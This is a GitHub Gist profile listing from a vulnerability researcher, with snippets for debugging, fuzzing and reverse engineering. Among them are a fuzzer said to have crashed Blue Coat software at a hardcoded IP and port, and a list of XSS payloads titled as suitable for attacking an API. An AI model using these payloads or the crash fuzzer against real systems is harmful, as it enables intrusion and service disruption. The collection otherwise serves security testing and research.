Skip to content

Instantly share code, notes, and snippets.

View Stolas's full-sized avatar
🕵️‍♂️
Researching Vulnerabilities

Stolas Stolas

🕵️‍♂️
Researching Vulnerabilities
  • The Netherlands
View GitHub Profile
@Stolas
Stolas / Breakpoint Reminder
Created April 3, 2015 07:55
"Borrowed" from 'YoDawg, I heard you like reversing' by Aaron Portnoy and Brandon Edwards (https://www.exodusintel.com/files/yodawgiheardyoulikereversing.pdf)
recvfrom/WSARecvFrom:
bp WS2_32!WSARecvFrom ".printf \"[+] recvfrom(%x, %x, %x)\n\", poi(@esp+0x4), poi(poi(@esp+0x8)+4), poi(poi(@esp+0x8)); .echo ;g poi(@esp) ;.if (@eax > -1) { db poi(@esp+4) Lpoi(@ebp+0x10); kv } ;g"
ReadFile:
bp kernelbase!ReadFile ".printf \"[+] read(%x, %x, %x)\n\", poi(@ebp+0x8), poi(@ebp+0xc), poi(@ebp+0x10); .echo ;g poi(@ebp+0x4) ; db poi(ebp+0xc) Lpoi(ebp+0x10); kv ;g"
recv/WSARecv:
bp WS2_32!WSARecv ".printf \"[+] recv(%x, %x, %x)\n\", poi(@esp+0x4), poi(poi(@esp+0x8)+4), poi(poi(@esp+0x8)); .echo ;g poi(@esp) ;.if (@eax > -1) { db poi(@esp+4) Lpoi(@ebp+0x10); kv } ;g"
@Stolas
Stolas / POC-Fuzzer.py
Last active September 25, 2015 13:15
Used this 'fuzzer' for an example on how to find and exploit software. Used this on Blue Coat and made it crash!
#!/usr/bin/env python
from socket import socket
HOST='123.3.3.6'
PORT='16102'
MAX_BUFFER = 100000
try:
for length in range(MAX_BUFFER):
@Stolas
Stolas / idletime.c
Created September 25, 2015 13:20 — forked from flatcap/idletime.c
How long, in seconds, has XWindows been idle
// gcc -Wall idletime.c -o idletime -L/usr/X11R6/lib/ -lX11 -lXext -lXss
#include <stdio.h>
#include <X11/extensions/scrnsaver.h>
int main()
{
XScreenSaverInfo *info = XScreenSaverAllocInfo();
Display *display = XOpenDisplay (NULL);
if (display == NULL) {
@Stolas
Stolas / fuzz.py
Created September 25, 2015 13:27 — forked from prusnak/fuzz.py
Simple Python Fuzzer
def none(): return None
objects = ['none', 'bool', 'int', 'float', 'str', 'list', 'dict', 'tuple', 'set', 'object', 'bytes', 'bytearray']
f = open('/dev/urandom', 'rb')
def choice(a):
i = ord(f.read(1)) % len(a)
return a[i]
cnt_ok = 0
cnt_ex = 0
@Stolas
Stolas / fuzzer.py
Created September 25, 2015 13:29 — forked from dzlab/fuzzer.py
A Fuzzer test sccript for randomly testing applications
#!/usr/bin/python
# 5-line fuzzer below is from Charlie Miller's
# "Babysitting an Army of Monkeys":
# Part 1 - http://www.youtube.com/watch?v=Xnwodi2CBws
# Part 2 - http://www.youtube.com/watch?v=lK5fgCvS2N4
# Presentation at http://www.scribd.com/doc/60008912/cmiller-CSW-2010
# List of files to use as initial seed
file_list=[
cmake_minimum_required(VERSION 3.0.2)
project(PROJECT_NAME)
find_package(Qt5Widgets)
set(CMAKE_INCLUDE_CURRENT_DIR ON)
set(CMAKE_AUTO_MOC ON)
qt5_wrap_ui(UI_HEADERS mainwindow.ui)
qt5_wrap_cpp(MOC_SRC mainwindow.h)
SETUP
------------------------------------------------------
------------------------------------------------------
CONTROL FLOW
c - continue
s - step
set step-mode off -- Toggle Step Over
show step-mode -- Show Step Mode.
@Stolas
Stolas / switchfont.vim
Last active June 8, 2016 07:14
Easy Switch Fonts - Vim
let g:font = 1
function! ToggleFont()
if g:font > 0
let g:font = 0
set guifont=GohuFont\ 10
else
let g:font = 1
set guifont=Courier\ New\ Bold\ 14
endif
endfunction
@Stolas
Stolas / 666_lines_of_XSS_vectors.html
Created June 17, 2016 10:51 — forked from JohannesHoppe/666_lines_of_XSS_vectors.html
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
IDA Pro -- Main Disassembler -- https://www.hex-rays.com/products/ida/
windbg -- Main Debugger -- https://developer.microsoft.com/en-us/windows/hardware/windows-driver-kit
Intel PIN -- Binary Instrumentation -- https://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool
Scylla -- https://github.com/NtQuery/Scylla/releases
Any decent C compiler.
-- ToDo --
Bochs -- http://bochs.sourceforge.net/getcurrent.html
Unicorn Engine -- http://www.unicorn-engine.org/